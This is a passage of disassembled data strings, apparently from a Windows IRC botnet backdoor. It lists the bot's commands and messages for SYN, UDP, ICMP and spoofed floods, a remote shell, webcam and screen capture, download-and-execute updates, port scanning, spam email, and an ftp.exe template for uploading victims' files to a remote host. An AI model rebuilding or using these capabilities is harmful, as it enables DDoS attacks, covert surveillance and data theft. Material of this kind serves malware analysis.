unk_42AF1C db 2Dh ; - ; DATA XREF: seg000:0040934Eo db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessKilledS db ' Process killed: %s',0 unk_42AF3C db 2Dh ; - ; DATA XREF: seg000:loc_4092FAo db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToTerm_0 db ' Failed to terminate process ID: %s',0 unk_42AF6C db 2Dh ; - ; DATA XREF: seg000:004092F3o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessKilledI db ' Process killed ID: %s',0 align 10h dword_42AF90 dd 234032Dh, 656C6966h, 202D0302h, 656C6544h, 20646574h ; DATA XREF: seg000:004092A8o dd 27732527h, 2Eh unk_42AFAC db 2Dh ; - ; DATA XREF: seg000:00409279o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToStartT db '- Failed to start transfer thread, error: <%d>.',0 align 4 unk_42AFE8 db 2Dh ; - ; DATA XREF: seg000:00409220o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aSendFileSUserS db '- Send File: %s, User: %s.',0 dword_42B00C dd 234032Dh, 656C6966h, 202D0302h, 7473694Ch, 7325203Ah ; DATA XREF: seg000:004091ACo dd 0 unk_42B024 db 2Dh ; - ; DATA XREF: seg000:00409178o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToStartC db ' Failed to start connection thread, error: <%d>.',0 align 4 dword_42B064 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 7325203Ah ; DATA XREF: seg000:0040911Fo dd 2Eh dword_42B07C dd 234032Dh, 6372696Dh, 202D0302h, 6D6D6F43h, 20646E61h ; DATA XREF: seg000:loc_409076o dd 746E6573h, 2Eh unk_42B098 db 2Dh ; - ; DATA XREF: seg000:0040906Fo db 3, 34h, 2 db 6Dh ; m db 69h, 72h, 63h db 2 db 3, 2Dh, 20h aClientNotOpen_ db 'Client not open.',0 align 4 dword_42B0B8 dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh ; DATA XREF: seg000:00409030o dd 732520h unk_42B0D0 db 2Dh ; - ; DATA XREF: seg000:00409028o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aErrorSendingTo db '- Error sending to remote shell.',0 align 4 asc_42B0FC: ; DATA XREF: seg000:0040900Ao ; sub_40FA29+FAo ... dw 0Ah unicode 0, <>,0 unk_42B100 db 2Dh ; - ; DATA XREF: seg000:00408FE0o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReadFileFailed db 'Read file failed: %s',0 align 4 unk_42B124 db 2Dh ; - ; DATA XREF: seg000:00408FCAo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReadFileComple db 'Read file complete: %s',0 align 4 unk_42B148 db 2Dh ; - ; DATA XREF: seg000:loc_408F4Fo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aInvalidParam_0 db '- Invalid parameters for amateur video capture.',0 align 4 unk_42B188 db 2Dh ; - ; DATA XREF: seg000:loc_408F45o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aErrorWhileCapt db '- Error while capturing amateur video from webcam.',0 unk_42B1C8 db 2Dh ; - ; DATA XREF: seg000:00408F32o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aAmateurVideoSa db '- Amateur video saved to: %s.',0 align 4 aVideo db 'video',0 ; DATA XREF: seg000:loc_408EA4o align 4 unk_42B1FC db 2Dh ; - ; DATA XREF: seg000:loc_408E91o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aInvalidParam_1 db '- Invalid parameters for webcam capture.',0 align 4 unk_42B234 db 2Dh ; - ; DATA XREF: seg000:loc_408E8Ao db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aErrorWhileCa_0 db '- Error while capturing from webcam.',0 align 4 unk_42B268 db 2Dh ; - ; DATA XREF: seg000:00408E7Ao db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aWebcamCaptureS db '- Webcam capture saved to: %s.',0 aFrame db 'frame',0 ; DATA XREF: seg000:loc_408E03o align 4 unk_42B29C db 2Dh ; - ; DATA XREF: seg000:00408DF6o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aDriverListComp db '- Driver list complete.',0 align 4 unk_42B2C4 db 2Dh ; - ; DATA XREF: seg000:00408DC3o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aDriverDSS_ db '- Driver #%d - %s - %s.',0 align 4 aDrivers db 'drivers',0 ; DATA XREF: seg000:loc_408D76o unk_42B2F4 db 2Dh ; - ; DATA XREF: seg000:loc_408D63o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aNoFilenameSpec db '- No filename specified for screen capture.',0 align 10h unk_42B330 db 2Dh ; - ; DATA XREF: seg000:loc_408D5Co db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aErrorWhileCa_1 db '- Error while capturing screen.',0 align 10h unk_42B360 db 2Dh ; - ; DATA XREF: seg000:00408D4Co db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aScreenCaptureS db '- Screen capture saved to: %s.',0 aScreen db 'screen',0 ; DATA XREF: seg000:loc_408D1Bo align 4 dword_42B394 dd 234032Dh, 6E69616Dh, 202D0302h, 68746547h, 3A74736Fh ; DATA XREF: seg000:00408D03o dd 2E732520h, 0 unk_42B3B0 db 2Dh ; - ; DATA XREF: seg000:loc_408CC0o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUnableToExtrac db 'Unable to extract Gethost command.',0 align 10h unk_42B3E0 db 2Dh ; - ; DATA XREF: seg000:00408CAAo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aGethostSComman db 'Gethost: %s, Command: %s',0 align 4 unk_42B408 db 2Dh ; - ; DATA XREF: seg000:00408C07o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aAliasAddedS_ db 'Alias added: %s.',0 align 4 unk_42B428 db 2Dh ; - ; DATA XREF: seg000:00408BC7o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPrivmsgSS_ db 'Privmsg: %s: %s.',0 align 4 unk_42B448 db 2Dh ; - ; DATA XREF: seg000:00408B6Do db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aActionSS_ db 'Action: %s: %s.',0 dword_42B464 dd 234032Dh, 6E69616Dh, 202D0302h, 6C637943h, 2E65h ; DATA XREF: seg000:00408AFEo dword_42B478 dd 54524150h, 0D732520h, 0Ah ; DATA XREF: seg000:00408AC4o ; seg000:00409625o unk_42B484 db 2Dh ; - ; DATA XREF: seg000:00408A9Ao db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aModeChangeS db 'Mode change: %s',0 aModeS db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: seg000:00408A8Co align 4 dword_42B4AC dd 234032Dh, 6E6F6C63h, 2D030265h, 77615220h, 73252820h ; DATA XREF: seg000:00408A61o dd 25203A29h, 73h dword_42B4C8 dd 234032Dh, 6E6F6C63h, 2D030265h, 646F4D20h, 25282065h ; DATA XREF: seg000:004089F5o dd 203A2973h, 7325h dword_42B4E4 dd 45444F4Dh, 732520h ; DATA XREF: seg000:0040899Do dword_42B4EC dd 234032Dh, 6E6F6C63h, 2D030265h, 63694E20h, 2528206Bh ; DATA XREF: seg000:0040896Do dd 203A2973h, 7325h dword_42B508 dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: seg000:004088F7o dword_42B514 dd 0A0D7325h, 0 ; DATA XREF: seg000:004088C5o ; seg000:0040894Eo ... dword_42B51C dd 54524150h, 732520h ; DATA XREF: seg000:0040888Co dword_42B524 dd 234032Dh, 67726174h, 3023361h ; DATA XREF: seg000:0040883Fo aFailedToStartF db '- Failed to start flood thread, error: <%d>.',0 align 10h dword_42B560 dd 234032Dh, 67726174h, 3023361h ; DATA XREF: seg000:004087E6o aFloodingSForSS db '- Flooding %s for %s seconds.',0 align 4 unk_42B58C db 2Dh ; - ; DATA XREF: seg000:0040876Eo db 3, 34h, 2 db 74h ; t db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 2 db 3 aFailedToStar_0 db '- Failed to start flood thread, error: <%d>.',0 align 4 unk_42B5C8 db 2Dh ; - ; DATA XREF: seg000:00408715o db 3, 34h, 2 db 74h ; t db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 2 db 3 aTsunamiHeading db '- Tsunami heading for %s (%s seconds).',0 unk_42B5FC db 2Dh ; - ; DATA XREF: seg000:loc_4086B2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aRepeatNotAllow db 'Repeat not allowed in command line: %s',0 align 10h dword_42B630 dd 234032Dh, 6E69616Dh, 202D0302h, 65706552h, 203A7461h ; DATA XREF: seg000:00408677o dd 7325h dword_42B648 dd 234032Dh, 6E69616Dh, 202D0302h, 616C6544h, 2E79h ; DATA XREF: seg000:loc_4085E3o dword_42B65C dd 25207325h, 73252073h, 73253A20h, 2 dup(0) ; DATA XREF: seg000:0040859Fo ; seg000:00408651o ... dword_42B670 dd 234032Dh, 61647075h, 3026574h, 6F42202Dh, 44492074h ; DATA XREF: seg000:loc_408550o dd 73756D20h, 65622074h, 66696420h, 65726566h, 7420746Eh dd 206E6168h, 72727563h, 20746E65h, 6E6E7572h, 20676E69h dd 636F7270h, 2E737365h, 0 dd 234032Dh, 61647075h, 3026574h aFailedToStartD db '- Failed to start download thread, error: <%d>.',0 dd 234032Dh, 61647075h, 3026574h aDownloadingUpd db '- Downloading update from: %s.',0 align 10h aSS_exe db '%s%s.exe',0 align 4 dword_42B72C dd 234032Dh, 63657865h, 202D0302h, 6D6D6F43h, 73646E61h ; DATA XREF: seg000:004083D4o dd 7325203Ah, 0 unk_42B748 db 2Dh ; - ; DATA XREF: seg000:004083C9o db 3, 34h, 2 db 65h ; e db 78h, 65h, 63h db 2 db 3, 2Dh, 20h aCouldnTExecute db 'Couldn',27h,'t execute file.',0 align 4 unk_42B76C db 2Dh ; - ; DATA XREF: seg000:00408317o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aFailedToStartS db 'Failed to start search thread, error: <%d>.',0 unk_42B7A8 db 2Dh ; - ; DATA XREF: seg000:004082B3o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aSearchingForFi db 'Searching for file: %s in: %s.',0 align 4 unk_42B7D8 db 2Dh ; - ; DATA XREF: seg000:004092AFo db 3, 34h, 2 db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 0 db 2Dh ; - db 3, 34h, 2 db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aRenameSToS_ db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0 align 4 unk_42B808 db 2Dh ; - ; DATA XREF: seg000:loc_4081DEo db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aInvalidFloodTi db 'Invalid flood time must be greater than 0.',0 align 10h unk_42B840 db 2Dh ; - ; DATA XREF: seg000:004081BFo db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aFailedToStar_1 db 'Failed to start flood thread, error: <%d>.',0 align 4 unk_42B878 db 2Dh ; - ; DATA XREF: seg000:0040815Bo db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aFloodingSFor_0 db 'Flooding: (%s) for %s seconds.',0 align 4 dword_42B8A4 dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: seg000:004080CFo aFailedToStar_2 db '- Failed to start clone thread, error: <%d>.',0 align 10h dword_42B8E0 dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: seg000:00408076o aCreatedOnSDInC db '- Created on %s:%d, in channel %s.',0 align 10h unk_42B910 db 2Dh ; - ; DATA XREF: seg000:00407FCFo db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aFailedToStar_3 db 'Failed to start flood thread, error: <%d>.',0 align 4 unk_42B948 db 2Dh ; - ; DATA XREF: seg000:00407F73o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aFloodingSSForS db 'Flooding: (%s:%s) for %s seconds.',0 align 4 unk_42B978 db 2Dh ; - ; DATA XREF: seg000:00407ED7o db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aFailedToStar_4 db '- Failed to start flood thread, error: <%d>.',0 align 10h unk_42B9B0 db 2Dh ; - ; DATA XREF: seg000:00407E7Bo db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aFloodingSSFo_0 db '- Flooding: (%s:%s) for %s seconds.',0 align 10h unk_42B9E0 db 2Dh ; - ; DATA XREF: seg000:00407DF0o db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aFailedToStar_5 db 'Failed to start flood thread, error: <%d>.',0 align 4 unk_42BA18 db 2Dh ; - ; DATA XREF: seg000:00407D94o db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aFloodingSFor_1 db 'Flooding %s for %s seconds using delay %s ms.',0 align 4 unk_42BA54 db 2Dh ; - ; DATA XREF: seg000:00407D09o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aFailedToStar_6 db 'Failed to start transfer thread, error: <%d>.',0 align 4 unk_42BA94 db 2Dh ; - ; DATA XREF: seg000:00407CB0o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloadingUrl db 'Downloading URL: %s to: %s.',0 unk_42BAC0 db 2Dh ; - ; DATA XREF: seg000:00407BCFo db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aFailedToStartR db 'Failed to start redirection thread, error: <%d>.',0 align 4 unk_42BB04 db 2Dh ; - ; DATA XREF: seg000:00407B76o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aTcpRedirectCre db 'TCP redirect created from: %s:%d to: %s:%d.',0 unk_42BB40 db 2Dh ; - ; DATA XREF: seg000:00407A7Do db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aPortScanStarte db 'Port scan started: %s:%d with delay: %d(ms).',0 align 4 aSSS_1 db '[%s] <%s> %s',0 ; DATA XREF: seg000:004079F9o align 4 aSSS_2 db '[%s] * %s %s',0 ; DATA XREF: seg000:004078F7o align 4 dword_42BB9C dd 54434101h, 204E4F49h, 17325h ; DATA XREF: seg000:00407863o ; seg000:00408B4Ao unk_42BBA8 db 2Dh ; - ; DATA XREF: seg000:004077EDo db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStar_7 db 'Failed to start scan thread, error: <%d>.',0 align 8 unk_42BBE8 db 2Dh ; - ; DATA XREF: seg000:00407794o db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aPortScanStar_0 db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0 align 4 unk_42BC38 db 2Dh ; - ; DATA XREF: seg000:004076E8o ; seg000:00407AD6o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStar_8 db 'Failed to start scan thread, error: <%d>.',0 align 10h unk_42BC70 db 2Dh ; - ; DATA XREF: seg000:0040768Fo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aSPortScanStart db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m' db 'inutes using %d threads.',0 align 4 unk_42BCD8 db 2Dh ; - ; DATA XREF: seg000:00407519o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStar_9 db 'Failed to start scan, no IP specified.',0 align 4 unk_42BD0C db 2Dh ; - ; DATA XREF: seg000:004074BCo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToSta_10 db 'Failed to start scan, port is invalid.',0 align 10h unk_42BD40 db 2Dh ; - ; DATA XREF: seg000:loc_40739Bo db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aUploadingFileS db '- Uploading file: %s to: %s failed.',0 align 10h unk_42BD70 db 2Dh ; - ; DATA XREF: seg000:00407394o db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aUploadingFil_0 db '- Uploading file: %s to: %s',0 align 4 aFtp_exe db 'ftp.exe',0 ; DATA XREF: seg000:0040737Bo aSS_3 db '-s:%s',0 ; DATA XREF: seg000:00407364o align 4 aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: seg000:00407344o db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db 'put %s',0Dh,0Ah db 'bye',0Dh,0Ah,0 align 4 aAb db 'ab',0 ; DATA XREF: seg000:00407320o ; sub_411D74+4Eo align 10h aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: seg000:0040730Fo align 10h unk_42BDE0 db 2Dh ; - ; DATA XREF: seg000:004072B6o db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aFileNotFoundS_ db '- File not found: %s.',0 align 10h aUpload db 'upload',0 ; DATA XREF: seg000:00407293o align 4 unk_42BE08 db 2Dh ; - ; DATA XREF: seg000:0040725Do db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aAlreadyDScanni db 'Already %d scanning threads. Too many specified.',0 align 4 unk_42BE48 db 2Dh ; - ; DATA XREF: seg000:00407215o db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aFailedToSta_11 db '- Failed to start flood thread, error: <%d>.',0 align 10h unk_42BE80 db 2Dh ; - ; DATA XREF: seg000:004071BCo db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aSendingDPacket db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0 align 4 unk_42BEC8 db 2Dh ; - ; DATA XREF: seg000:0040710Eo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aMessageHasBeen db '- Message has been sent successfuly',0 align 4 unk_42BEFC db 2Dh ; - ; DATA XREF: seg000:004070DAo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aFailedToSendMe db '- Failed to send message, error <%i>.',0 align 10h unk_42BF30 db 2Dh ; - ; DATA XREF: seg000:004070B6o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aNetsendDoesNot db '- NetSend does not work on Win9x systems',0 align 4 unk_42BF68 db 2Dh ; - ; DATA XREF: seg000:00407006o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aSendingMessage db '- Sending message %s times to %s using name %s',0 aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: seg000:00406FE9o align 4 unk_42BFBC db 2Dh ; - ; DATA XREF: seg000:00406FBFo db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aFailedToSta_12 db 'Failed to start flood thread, error: <%d>.',0 align 8 unk_42BFF8 db 2Dh ; - ; DATA XREF: seg000:00406F66o db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aSendingDPingsT db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0 align 10h unk_42C040 db 2Dh ; - ; DATA XREF: seg000:loc_406E96o db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aInvalidFlood_0 db '- Invalid flood time must be greater than 0.',0 align 4 unk_42C078 db 2Dh ; - ; DATA XREF: seg000:00406E7Ao db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aFailedToSta_13 db '- Failed to start flood thread, error: <%d>.',0 align 10h unk_42C0B0 db 2Dh ; - ; DATA XREF: seg000:00406E16o db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aSSFloodingSSFo db '- %s %s flooding: (%s:%s) for %s seconds.',0 align 4 aNormal db 'Normal',0 ; DATA XREF: seg000:00406E06o align 4 aSpoofed db 'Spoofed',0 ; DATA XREF: seg000:00406DFFo unk_42C0F4 db 2Dh ; - ; DATA XREF: seg000:00406D6Ao db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aInvalidFloodTy db '- Invalid flood type specified.',0 align 10h aRandom_0 db 'random',0 ; DATA XREF: seg000:00406D5Ao align 4 aAck db 'ack',0 ; DATA XREF: seg000:00406D43o aHcon db 'hcon',0 ; DATA XREF: seg000:00406CCDo align 4 aHttpcon db 'httpcon',0 ; DATA XREF: seg000:00406CBAo unk_42C13C db 2Dh ; - ; DATA XREF: seg000:00406C6Bo db 3, 34h, 2 db 65h ; e db 6Dh, 61h, 69h db 6Ch ; l db 2, 3, 2Dh aMessageSentToS db ' Message sent to %s.',0 align 10h aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: seg000:00406BF7o db 'mail from: <%s>',0Ah db 'rcpt to: <%s>',0Ah db 'data',0Ah db 'subject: %s',0Ah db 'from: %s',0Ah db '%s',0Ah db '.',0Ah,0 aEmail db 'email',0 ; DATA XREF: seg000:00406B0Co align 4 aTcp db 'tcp',0 ; DATA XREF: seg000:00406AF5o aTcpflood db 'tcpflood',0 ; DATA XREF: seg000:00406ADEo align 4 aP: ; DATA XREF: seg000:00406AC7o ; seg002:0043A880o ... unicode 0, <p>,0 aPing_0 db 'ping',0 ; DATA XREF: seg000:00406AB0o align 10h aPingflood db 'pingflood',0 ; DATA XREF: seg000:00406A99o align 4 aNs db 'ns',0 ; DATA XREF: seg000:00406A82o align 10h aNetsend db 'netsend',0 ; DATA XREF: seg000:00406A6Bo aU: ; DATA XREF: seg000:00406A54o ; seg002:0043A878o ... unicode 0, <u>,0 aUdp db 'udp',0 ; DATA XREF: seg000:00406A3Do aUdpflood db 'udpflood',0 ; DATA XREF: seg000:00406A26o align 4 aAdfsdgsdgsc db 'adfsdgsdgsc',0 ; DATA XREF: seg000:00406A0Fo aFofofo db 'fofofo',0 ; DATA XREF: seg000:004069F8o align 10h aPsc db 'psc',0 ; DATA XREF: seg000:004069E1o aPortscan db 'portscan',0 ; DATA XREF: seg000:004069CAo align 10h aC_a db 'c_a',0 ; DATA XREF: seg000:004069A4o aC_action db 'c_action',0 ; DATA XREF: seg000:0040698Do align 10h aC_pm db 'c_pm',0 ; DATA XREF: seg000:00406976o align 4 aC_privmsg db 'c_privmsg',0 ; DATA XREF: seg000:0040695Fo align 4 aSc db 'sc',0 ; DATA XREF: seg000:00406948o align 4 aScan db 'scan',0 ; DATA XREF: seg000:00406931o align 10h aRd db 'rd',0 ; DATA XREF: seg000:0040691Ao align 4 aRedirect db 'redirect',0 ; DATA XREF: seg000:00406903o align 10h aFalehdownl2 db 'falehdownl2',0 ; DATA XREF: seg000:004068ECo aFalehdownl db 'falehdownl',0 ; DATA XREF: seg000:004068D5o align 4 aWonk db 'wonk',0 ; DATA XREF: seg000:004068BEo align 10h aPhatwonk db 'phatwonk',0 ; DATA XREF: seg000:004068A7o align 4 dword_42C28C dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: seg000:00406885o aFailedToSta_14 db '- Failed to start flood thread, error: <%d>.',0 align 4 dword_42C2C8 dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: seg000:00406829o aFloodingSSFo_1 db '- Flooding: (%s:%s) for %s seconds.',0 aSkysyn db 'skysyn',0 ; DATA XREF: seg000:004067A9o align 10h aSyn db 'syn',0 ; DATA XREF: seg000:00406792o ; seg000:00406D2Bo aSynflood db 'synflood',0 ; DATA XREF: seg000:0040677Bo align 10h unk_42C310 db 2Dh ; - ; DATA XREF: seg000:00406759o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aFailedToSta_15 db '- Failed to start flood thread, error: <%d>.',0 align 10h aWisdom_udp db 'wisdom.udp',0 ; DATA XREF: seg000:00406698o align 4 aDdos_random db 'ddos.random',0 ; DATA XREF: seg000:00406681o ; seg000:loc_412D68o aDdos_ack db 'ddos.ack',0 ; DATA XREF: seg000:0040666Ao ; seg000:loc_412D4Co align 4 aDdos_syn db 'ddos.syn',0 ; DATA XREF: seg000:00406653o ; seg000:00412D2Do align 10h aC: ; DATA XREF: seg000:0040663Co ; seg002:0043A8B0o ... unicode 0, <c>,0 aClone_0 db 'clone',0 ; DATA XREF: seg000:00406625o align 4 aIcmp db 'icmp',0 ; DATA XREF: seg000:004065FCo align 4 aIcmpflood db 'icmpflood',0 ; DATA XREF: seg000:004065E5o align 10h aMv db 'mv',0 ; DATA XREF: seg000:004065CEo align 4 aRename db 'rename',0 ; DATA XREF: seg000:004065B7o align 4 aFf db 'ff',0 ; DATA XREF: seg000:004065A0o align 10h aFindfile db 'findfile',0 ; DATA XREF: seg000:00406589o align 4 aE: ; DATA XREF: seg000:00406572o ; seg002:0043A868o ... unicode 0, <e>,0 aExecute db 'execute',0 ; DATA XREF: seg000:0040655Bo aFalehupd2 db 'falehupd2',0 ; DATA XREF: seg000:00406544o align 4 aFalehupd db 'falehupd',0 ; DATA XREF: seg000:0040652Do align 10h aDe db 'de',0 ; DATA XREF: seg000:00406516o align 4 aDelay db 'delay',0 ; DATA XREF: seg000:004064FFo align 4 aRp db 'rp',0 ; DATA XREF: seg000:004064E8o align 10h aRepeat db 'repeat',0 ; DATA XREF: seg000:004064D1o ; seg000:00408624o align 4 aTsn db 'tsn',0 ; DATA XREF: seg000:004064BAo aTsunami db 'tsunami',0 ; DATA XREF: seg000:004064A3o aT3 db 't3',0 ; DATA XREF: seg000:0040648Co align 4 aTarga3 db 'targa3',0 ; DATA XREF: seg000:00406475o align 10h aC_p db 'c_p',0 ; DATA XREF: seg000:0040645Eo aC_part db 'c_part',0 ; DATA XREF: seg000:00406447o align 4 aC_j db 'c_j',0 ; DATA XREF: seg000:00406430o aC_join db 'c_join',0 ; DATA XREF: seg000:00406419o align 4 aC_n db 'c_n',0 ; DATA XREF: seg000:00406402o aC_nick db 'c_nick',0 ; DATA XREF: seg000:004063EBo align 4 aC_m db 'c_m',0 ; DATA XREF: seg000:004063D4o aC_mode db 'c_mode',0 ; DATA XREF: seg000:004063BDo align 10h aC_r db 'c_r',0 ; DATA XREF: seg000:004063A6o aC_raw db 'c_raw',0 ; DATA XREF: seg000:0040638Fo align 4 aM: ; DATA XREF: seg000:00406378o ; seg002:0043A8C0o ... unicode 0, <m>,0 aCy db 'cy',0 ; DATA XREF: seg000:0040634Ao align 4 aCycle db 'cycle',0 ; DATA XREF: seg000:00406333o align 4 aA: ; DATA XREF: seg000:0040631Co ; seg002:0043A884o unicode 0, <a>,0 aAction db 'action',0 ; DATA XREF: seg000:00406305o align 4 aPrivmsg_0 db 'privmsg',0 ; DATA XREF: seg000:004062D7o aAa db 'aa',0 ; DATA XREF: seg000:004062C0o align 4 aAddalias db 'addalias',0 ; DATA XREF: seg000:004062A9o align 10h aKl db 'kl',0 ; DATA XREF: seg000:00406292o align 4 aKilllog db 'killlog',0 ; DATA XREF: seg000:0040627Bo aGh db 'gh',0 ; DATA XREF: seg000:00406252o align 10h aGethost db 'gethost',0 ; DATA XREF: seg000:0040623Do aCap db 'cap',0 ; DATA XREF: seg000:00406228o aCapture db 'capture',0 ; DATA XREF: seg000:00406213o unk_42C4A4 db 2Dh ; - ; DATA XREF: seg000:loc_4061FAo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aCommandUnknown db '- Command unknown.',0 unk_42C4C0 db 2Dh ; - ; DATA XREF: seg000:loc_4061F3o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aNoMessageSpeci db '- No message specified.',0 align 4 aSend db 'send',0 ; DATA XREF: seg000:004061B1o ; sub_409A01+5F0o align 4 unk_42C4EC db 2Dh ; - ; DATA XREF: seg000:loc_4061A7o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 